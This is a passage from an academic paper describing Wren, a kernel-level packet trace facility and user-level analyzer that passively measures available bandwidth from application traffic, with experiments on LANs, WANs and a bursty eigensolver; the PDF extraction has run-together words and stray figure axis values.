actively measure bandwidth to passive traces of application trafﬁc,a task complicated because we have no control over the application trafﬁc pattern.We have eval-uated our approach on LAN-and W AN-based distributed applications and present the results of applying our analy-sis to trafﬁc captured from these applications.The principle contributions of this paper are•a system that captures packet traces unobtrusively,•new algorithms for applying the principles of active probing techniques to passive traces,•characterization of the network trafﬁc an application must produce for our techniques to provide valid avail-able bandwidth measurements,and•demonstration that both bulk transfer and bursty BSP-style communication produce packet traces that can be used to measure available bandwidth.The remainder of this paper will describe the status of the Wren packet trace facility.We willﬁrst review related work on monitoring systems.Section3will discuss the range of trafﬁc patterns generated by grid applications.In Section4,we describe our packet trace implementation and the bandwidth techniques implemented in the user-level.In Section5,we present the results of using Wren to monitor available bandwidth.2Monitoring SystemsPacket trace tools,like tcpdump,monitor network trafﬁc to verify the operation of network protocols and to charac-terize application trafﬁc patterns.Tcpdump uses the libpcap packet capture interface to initiate tracing and process the packet trace into a standard representation.In Linux sys-tems,libpcap interacts with the Linux Socket Filter(LSF), a variation of BSD Packet Filter(BPF)[14],which is com-posed of a network tap that sits at the link device layer and collects packets speciﬁed by user-deﬁnedﬁlter rules.The use of the LSFﬁltering mechanism improves performance because unwanted packets areﬁltered in the kernel instead of being copied into the user-level for processing by libp-cap.A drawback of using LSF to trace packets is the need for applications to be reading the socket to collect the pack-ets as they arrive.In contrast,an application that uses the Wren system can read data from a kernel buffer at any point after the trace is completed.More importantly,it may be difﬁcult for system that uses LSF to coordinate traces of the same range of packets on two machines.We have designed Wren with a triggering mechanism that speciﬁes the same range of packets will be monitored on both machines.Shared Passive Network Performance Discovery (SPAND)[20]uses information passively collected from several hosts on a network to measure network conditions. Performance data is collected from client applications and packet capture hosts.The performance reports sent by the client applications are based on application-level observations and may lack the detail to provide accurate estimates of available bandwidth.Packet capture hosts, which use BPF to observe all trafﬁc to and from a group of hosts,are the primary means of collecting information. These hosts are not at the end-points of the path,and therefore,must use heuristics to infer end-to-end properties such as achievable bandwidth.The packet capture host is responsible for processing the data before sending the performance report to the server.In our Wren system, the host collecting the kernel-level packet trace can send the data to another machine where all the processing will occur.More importantly,Wren uses a two-sided approach to monitoring trafﬁc at the both end hosts of path,allowing for more accurate measurements of end-to-end properties.SPAND maintains a central repository of measurements at a performance server,which can be queried by any ap-plication in the system.SPAND measurements are shared and passive,features that we have incorporated into the de-sign of Wren.In SPAND,there is an emphasis on the per-formance the application can obtain rather than the total availability of network resources.However,SPAND does provide an achievable bandwidth metric,which is similar to the bulk transfer capacity metric[12]discussed in Sec-tion4.2.1.Our Wren implementation has the added fea-rmation collected during Wren packet trace of TCP trafﬁc.Incoming packetstimestamp ack number seq number data sizeture of being able to apply several available bandwidth tech-niques to the same packet trace.Web100[11]is designed to monitor,diagnose,and tune TCP connections.Web100comprises a kernel-level compo-nent,which is responsible for exposing the characteristics of the TCP connection,and a user-level component,which retrieves and graphically displays the connection informa-tion.The Web100tool instruments the network stack of the 2.4series of Linux kernels to capture an instantaneous view of the TCP connection internals and exports that informa-tion to the user-level through an interface in the/procﬁle system.The Web100tool has an autotuning functionality and also provides a mechanism for hand-tuning kernel vari-ables.The appeal of the Web100tool is the ability to track the current state of variables in TCP connections and to tune buffers accordingly in real-time at the user-level.We are developing the Wren bandwidth monitoring tool as an extension to the Web100kernel so that a single ker-nel can provide the variety of network services required for high-performance networking.We chose to implement the kernel-level portion of the Wren bandwidth monitoring tool as an additional feature to Web100because monitoring available bandwidth and buffer tuning are both used in the same situations to improve application performance.3Trafﬁc PatternsGrid applications can generate trafﬁc patterns composed of many long transfers,many short transfers,or some com-bination of both.At one end of the spectrum are bulk data transfer applications,which move large amounts of data be-tween two points and tax the communication stack by con-tinuously sending data.Many grid applications have com-munication phases that behave similarly to bulk data trans-fers,such as the initial distribution of work among proces-sors or the migration of large work units during load bal-ancing.At the other end of the spectrum of grid applica-tions are bulk synchronous parallel(BSP)applications with compute-communicate phases and sporadic trafﬁc patterns. Common to these applications is the need to periodically synchronize or communicate information with other pro-cessors.For example,in a mesh generation application[2], processors may need to be notiﬁed about inserted points or other reﬁnements made on the boundaries shared by the pro-cessors.In our evaluation of Wren,we use a bulk data transfer and a distributed eigensolver,so we cover a representative spectrum of the trafﬁc produced by high-performance grid applications.4Wren Bandwidth Monitoring Tool The Wren bandwidth monitoring tool is split into a kernel-level packet trace facility and a user-level trace an-alyzer.The kernel-level packet trace facility is responsi-ble for gathering information associated with incoming and outgoing packets.In the user-level,once the traces are ac-quired any or all available bandwidth techniques can be ap-plied.The ability to apply several bandwidth techniques to the same packet trace allows us to determine the rela-tionship and effectiveness of the techniques.The available bandwidth measurements can be given directly to the appli-cation that generated the trafﬁc or stored by a monitoring system for use in the future or by other applications.In the remainder of this section,we review the kernel-level packet trace facility and discuss the user-level trace analyzer,specifying how we passively implemented four bandwidth techniques.Weﬁnish this section with a con-sideration of the security of the system.4.1Wren Packet Trace FacilityWren extends the functionality of the Web100kernel to incorporate kernel-level packet traces.Because Web100is a secure,well-accepted system,our Wren packet trace fa-cility should be acceptable to system administrators.In our implementation,we added a buffer to the Web100kernel to collect characteristics from incoming and outgoing packets. Table1shows the information collected during a trace of TCP trafﬁc.In the UDP and TCP code we timestamp the packets using the CPU clock cycle counter and record the timestamps and TCP congestion window size in our buffer. Access to this buffer is through two system calls:one starts the tracing and speciﬁes the connection to trace and the other retrieves the trace from the kernel.The Wren architec-ture is designed so that user-level components do not need to be reading from the packet trace facility all of the time. Wren can capture full traces of small bursts of trafﬁc or pe-riodically capture smaller portions of continuous trafﬁc and use those to measure available bandwidth.We have previ-ously analyzed the efﬁciency of our design[23]and found that Wren adds little overhead to the kernel.The precise timestamp and cwnd values are only possi-ble through kernel-level instrumentation.Another key de-sign feature of the Wren packet trace facility is the ability to coordinate measurements between machines.In our im-plementation,one machine triggers the other machine by setting aﬂag in the headers of outgoing packets to start trac-ing the same range of packets.The other machine traces all packets with the headerﬂag set,which prevents lost pack-ets from adversely affecting the coordinated tracing.This packet coordination ensures that the buffers at each end of the connection store information about the same packets re-gardless of the bandwidth-delay product of the particular connection.4.2Wren Trace AnalyzerThe user-level component of the Wren bandwidth mon-itoring tool is responsible for initiating the tracing,collect-ing the trace from the kernel,and processing the data.We apply the bandwidth techniques at the application level to avoid slowing the performance of the operating system.The overhead imposed by the user-level code is minimal,and the data can be transferred to another machine for processing, if necessary.4.2.1BTCThe Bulk Transfer Capacity(BTC)[12]metric speciﬁes the data rate that a single congestion-aware transport connec-tion can obtain.Tools,such as SPAND[20]and NWS[22], use the BTC metric to measure achievable bandwidth.In Wren,we observe the total number of bytes sent the packet trace and divide the total number of bytes sent by the time elapsed to produce a measure of the actual throughput of the application,which is the same as the BTC when the appli-cation is sending at full blast.4.2.2TCP windowThe TCP window technique uses the TCP protocol’s con-gestion window size variable to measure bandwidth.TCP tracks the congestion in the network by maintaining a con-gestion window size variable(cwnd),which speciﬁes how much data can be sent per round trip time.The TCP proto-col slowly probes for congestion of the network by increas-ing the congestion window(and thus the sending rate)until loss is detected and then the congestion window size is re-duced.Because cwnd and MSS determine the rate at which TCP sends data,dividing the product of the cwnd and MSS by the round trip time(RTT)yields a measure of achievable throughput[13].The Wren packet trace facility records the cwnd variable when packets arrive in the kernel so that the TCP window technique can be applied.4.2.3Packet PairPacket dispersion techniques can be used to measure the capacity[1,3,9]or the available bandwidth[1,5,8,16,21] of a network path.The premise of packet dispersion tech-niques is that if a train of packets is sent at a rate faster than the bottleneck bandwidth,the train will leave the bottleneck link at a rate equal to the bottleneck bandwidth.The rate the packets are traveling is inversely related to the spacing or dispersion between the packets.Tools such as cprobe[1]use packet dispersion tech-niques to calculate bandwidth by dividing the size of the packets by the dispersion of the train as measured on the receiving host.However,this approach measures a metric called the asymptotic dispersion rate[3,9].More recently, spruce,IGI,and Delphi[18]have used dispersion of packet pairs/train to determine the utilization of the bottleneck link and subtract the utilization from the capacity of the bottle-neck link to calculate the available bandwidth.The success of a packet dispersion technique is depen-dent on the initial rate of the packets being greater than the bottleneck bandwidth.In TCP bulk data transfer traf-ﬁc traces,we have observed that packets are often sent out from the OS as a stream of tightly spaced pairs.In our implementation,we analyze the dispersion of these tightly spaced pairs as they arrive at the receiving host.We group packet pairs into trains,average the dispersion of the pairs, and calculate the available bandwidth.We use this approach because:•The inter-packet spacing is inversely proportional to the sending rate,so the smaller the spacing the faster the rate.This is important for a technique that relies on the sending rate being larger than the bottleneck band-width.•Averaging dispersions of a train helps minimize affects of artifacts in measurements.We useﬁltering to eliminate packet pairs that violate as-sumptions of the packet dispersion technique.Speciﬁcally, we remove pairs where the initial packet spacing is larger than theﬁnal dispersion because the shrinking of space be-tween packets indicates the packet rate increased.We recognize that there is still uncertainty in the com-munity about the reliability of measuring available band-width using packet dispersion techniques[7,17].This is es-pecially true in high bandwidth-delay environments where interrupt coalescing(IC)can cause timestamps to be in-creased from when packets actually arrive at the NIC.Re-cently,techniques for detecting IC and removing erroneous measurements have been described[17].We hope Wren can address these issues by detecting IC or by incorpo-rating NIC timestamping into the packet trace facility and by implementing emerging techniques that rely on otherpacket spacing,such as exponential,to use on our traces of application-generated trains[4,19].4.2.4SLoPSSelf-Loading Periodic Streams(SLoPS),which is used in pathload[6],is based on the principle that if the rate of a pe-riodic packet stream is larger than the available bandwidth, the one-way delays of this stream will have an increasing trend.If the one-way delays of the stream do not have an increasing trend,the rate of the stream is less than the avail-able bandwidth.In pathload,SLoPS is an iterative algorithm that requires cooperation of the sender and the receiver hosts.For one it-eration,pathload sends out several UDP packets at aﬁxed transmission rate,determines if the transmission rate is larger or smaller than the available bandwidth,and then ad-justs the transmission rate for the next iteration.After sev-eral iterations,Pathload’s algorithm converges to an avail-able bandwidth range.In our implementation of SLoPS,we have no control over the initial sending rate of the streams and therefore can-not guarantee that the trafﬁc we are tracing will be sufﬁcient to allow the algorithm to converge to a bandwidth range. However,we hypothesize that TCP trafﬁc can be used to ﬁnd a maximum limit on the range of available bandwidth because the TCP protocol varies the sending rates of pack-ets according to the congestion window size.In essence,the TCP protocol is doing the same thing that pathload is trying to accomplish:sending a stream of packets that will induce congestion and identifying the rate at which congestion oc-curs.In our implementation of SLoPS,we use the timestamps of packets to calculate the one-way delays and the initial sending rate of the stream of packets.We group10-50pack-ets that had the same congestion window size when sent into a stream and identify the trend in one-way delays of that stream.Consistent with the pathload implementation,we group several streams together into a oneﬂeet and for that ﬂeet try to identify the maximum range value for the avail-able bandwidth.To test our implementation,we monitored the UDP trafﬁc generated by the pathload tool.In congested and uncongested environments,Wren produced the same measurements as pathload,thus validating the correctness of our implementation.Our SLoPS implementation per-forms the same convergence tests as pathload and reports results only when TCP naturally produces a sequence of ﬂeets that determines the current available bandwidth.4.3SecurityWe recognize that the interface to packet traces that the Wren bandwidth monitoring tool provides may be consid-ered a security issue.In the current implementation of our Wren bandwidth monitoring tool,there is no restriction on which users can capture traces.The danger here is that any user has access to and can trace any other user’s application trafﬁc.However,the amount of information the user can obtain is limited to sequence and acknowledgment numbers and does not include the data segment of the packets.This is not much more information than a user could obtain from the netstat program.Were we to restrict access,deploy-ing a grid-wide monitoring system would require either root access or restrict the monitoring to a single user’s applica-tions.But in a production release,we could add the ability to check permissions for access.5ResultsWe have tested the Wren bandwidth monitoring tool by running experiments on LANs and W ANs using100Mb and Gb interfaces.Our results demonstrate that the Wren band-width monitoring tool can measure bandwidth using passive traces of application trafﬁc collected on congested and un-congested paths.We use Wren to investigate how our pas-sive bandwidth techniques relate to one another and eval-uate each technique in an effort to understand what trafﬁc conditions are necessary for each technique to produce use-ful measurements.5.1Uncongested LANWe use the Wren bandwidth monitoring tool to collect and analyze traces of iperf trafﬁc between two2.8GHz Pen-tium4s using100Mb and1Gb Ethernet interfaces.In this experiment the MTU is set at1500.In Figures1and2 the packet pair and BTC techniques obtain the same con-sistent measurement of the bandwidth while the measure-ments produced by the TCP window technique occasionally dip,reﬂecting the behavior of the congestion window size being reduced.However,the TCP window technique mea-surements are quantitatively similar to the BTC and packet dispersion values at the other times.The values obtained by applying the SLoPS technique are in some cases larger than the measurements of the other techniques.In these cases,SLoPS is more likely measuring available bandwidth while the other techniques are measuring achievable band-width[10].In bulk data transfer results shown in Figures 1and2,we see that all techniques produce similar band-width measurements that are consistent with what we might expect on uncongested1Gb and100Mb LANs.5.2W ANIn our W AN experiment,iperf was used to generate traf-ﬁc from a Pentium4machine at the College of William and Mary across the Network Virginia and Abilene networks to40 50 60 70 80 90 100 110 120 10 1214 16 18 20b a n d w i d t h (M b p s )Time (sec)BTC40 50 60 70 80 90 100 110 120 10 1214 16 18 20b a n d w i d t h (M b p s )Time (sec)Packet Pair 40 50 60 70 80 90 100 110 120 101214 16 18 20b a n d w i d t h (M b p s )Time (sec)TCP Window 40 50 60 70 80 90 100 110 120 101214 16 18 20b a n d w i d t h (M b p s )Time (sec)SLoPSFigure 1.Techniques applied to iperf trafﬁc monitored on uncongested 1OO Mb LAN.200 400 600 800 1000 1200 1400 0510 15 20b a n d w i d t h (M b p s )Time (sec)BTC200 400 600 800 1000 1200 1400 0510 15 20b a n d w i d t h (M b p s )Time (sec)Packet Pair 0200 400 600 800 1000 1200 1400 0510 1520b a n d w i d t h (M b p s )Time (sec)TCP Window 0200 400 600 800 1000 1200 1400 0510 1520b a n d w i d t h (M b p s )Time (sec)SLoPSFigure 2.Techniques applied to iperf trafﬁc monitored on uncongested 1Gb LAN.a Digital Unix4.0machine at Carnegie Mellon University.Typical of modern networks,the capacity bottlenecks of this path are at the endpoints,not the W AN.The bottleneck ca-pacity of this path is100Mb,but the obtainable throughput on this path typically maxes out around70Mb due to the presence of other trafﬁc on the path.In Figure3,the BTC and TCP window techniques il-lustrate the slow ramp-up and sawtooth patterns associated with TCP’s AIMD algorithm.This graph indicates that the BTC and TCP window techniques are measuring through-put instead of available bandwidth until just before a packet loss.Figure3also shows that the packet pair technique pro-duces measurements as soon as back-to-back packets are issued and that both the packet dispersion technique and the SLoPS technique produce values that are quantitatively similar to the other techniques at the height of the ramp-up period.We expect this behavior from SLoPS because the technique is conﬁgured to report the maximum value of the available bandwidth range that is computed.The SLoPS and packet pair techniques provide consistent es-timates of the available bandwidth,while the other tech-niques measure the throughput the application is obtaining. Figure3shows that the throughput an application achieves is equal the available bandwidth when the TCP window is fully opened.5.3W AN GbWe generated iperf trafﬁc between a dual Pentium III, 800MHz machine at Vrije Universiteit and an AMD Athlon 2700MHz machine at Lawrence Berkeley Laboratory,both equipped with Gb NICs.This Gb W AN path has a high bandwidth-delay product,which means it will take longer for the TCP window to open up and for an application to re-alize its maximum throughput than it would take on a LAN. In our experiments,it took approximately5seconds be-fore the TCP window opened fully,at which point the BTC and TCP window techniques were able to measure avail-able bandwidth.These results verify that our software has no problems tracing packets at Gb speed.The packet pair and SLoPS techniques are not applied to this trace because the packets arriving at the receiver had a constant spacing,which indicates interrupt coalesc-ing is occurring.The inability to effectively apply these techniques is not surprising because of previous results that indicate NIC-level timestamping or IC detection is neces-sary for high bandwidth connections[7,17].5.4Trafﬁc Requirements on LANIn this experiment,we monitor TCP trafﬁc produced by iperf running between two Pentium4s on a100Mb LAN Table2.Number of measurements obtained by applying packet pair technique to96bursts of trafﬁc sent every.2seconds.burst size70KB75KB80KB90KB100KB150KB0 20 40 60 80 100 101214 16 18 20b a n d w i d t h (M b p s )Time (sec)TCP Window Packet Pair 0 20 40 60 80 100 101214 16 18 20b a n d w i d t h (M b p s )Time (sec)BTC SLoPSFigure 3.Techniques applied to trace of iperf trafﬁc on a 100Mb WAN between W &M and CMU.4060 80 100 0 510 15 20b a n d w i d t h (M b p s )Time (sec)BTC0 xtraffic 20 xtraffic 40 xtraffic4060 80 100 0 510 15 20b a n d w i d t h (M b p s )Time (sec)TCP Window0 xtraffic 20 xtraffic 40 xtraffic4060 80 100 0 510 15 20b a n d w i d t h (M b p s )Time (sec)Packet Pair0 xtraffic 20 xtraffic 40 xtraffic4060 80 100 0 510 15 20b a n d w i d t h (M b p s )Time (sec)SLoPS0 xtraffic 20 xtraffic 40 xtrafficFigure 4.Techniques applied to iperf traces on a 100Mb LAN with 0,20,40Mb of cross trafﬁc.number of bursts indicates that the packet pair technique cannot always be applied to bursts this small.The packet pair technique is more reliable using bursts larger than90 KB because these burst sizes ensure that there is is a one-to-one ratio in terms of burst sent to measurements obtained. Our results for this connection indicate that the packet pair technique can only be reliably applied to bursts of applica-tion trafﬁc that are at least90KB.5.5Bursty Application TrafﬁcWe performed experiments with an adaptive multigrain eigenvalue application,which is designed toﬁnd the ex-treme eigenvalues of large,sparse matrices[15].This solver is comprised of a projection phase with local computation and a correction phase with communication within clusters. The communication is bursty,with several short messages preceding larger messages.We believe this algorithm has characteristics similar to a large number of latency-tolerant high-performance computing applications that may be run on clusters and grids,and therefore,is an ideal choice to evaluate the performance of our bandwidth measurement techniques when running signiﬁcant,non-trivial applica-tions with interesting communication patterns.We ran the eigensolver on a cluster of four Pentium III Linux machines linked together by100Mb connections and monitored trafﬁc between two of the nodes running the eigensolver.Figure5shows the bursty trafﬁc pattern gen-erated by the eigensolver application.Notice that the appli-cation only sends at full rate between6-9seconds,but the packet pair technique is able to measure bandwidth effec-tively throughout the duration of the packet trace.Some of the bursts sent out during the communication phase were more than90KB,the burst size qualiﬁcation for application trafﬁc to be used by the packet pair tech-nique.In Figure5,the packet pair bandwidth measurements demonstrate that our burst size assessment is valid.6ConclusionThis paper describes and evaluates the passive compo-nent of the Wren bandwidth monitoring tool.We have im-plemented the BTC,packet pair,TCP window,and SLoPS algorithms to calculate bandwidth and have analyzed the ef-fectiveness of these techniques on bulk data transfer trafﬁc and bursty application trafﬁc on100Mb LANs,1Gb LANs, and W ANs.Our results show that all of the techniques can identify the presence of competing trafﬁc on a network path and these techniques often produce quantitatively similar measurements.While our tool does not fail to trace application trafﬁc, the bandwidth techniques can fail to calculate the available204060801001200 2 4 6 8 10Bandwidth(Mbits/sec)Time (seconds)Packet PairApp. ThroughputFigure5.Throughput of an adaptive eigen-solver measured on a100Mb LAN.This ap-plication has a bursty trafﬁc pattern with amaximum rate obtained only between6-9sec-onds,but the packet pair technique is able toprovide effective measurements throughoutthe duration of the trace.bandwidth of the path.We presented a preliminary anal-ysis of the application trafﬁc characteristics needed to ap-ply the bandwidth techniques.We found that the SLoPS, BTC,and TCP window techniques are only able to effec-tively measure available bandwidth when the TCP window opens up in the AIMD phase.While the packet pair tech-nique could still be applied applied to more bursty trafﬁc that never opened the TCP window,this technique did re-quire a minimum amount of data to be sent in a burst to pro-vide bandwidth measurements.This analysis is important because it speciﬁes the minimum amount of trafﬁc an ap-plication must generate to make passive measurements.In the future,we will use this information to determine when active measurements should be started so that the bandwidth information remains up to date.We are continuing to investigate how to detect and obtain valid results when interrupt coalescing occurs.We also plan to continue with a more rigorous analysis of the limitations of the bandwidth techniques and how various patterns in data streams affect the measurement accuracy.7AcknowledgmentsWe thank those who allowed us to use their hosts as plat-forms for our experiments:Nancy Miller(CMU),Brian Tierney(LBL),Kees Verstoep,Thilo Kielman and An-drew Tanenbaum(Vrije Universiteit).Thanks also to Claire O’Shea for software development.。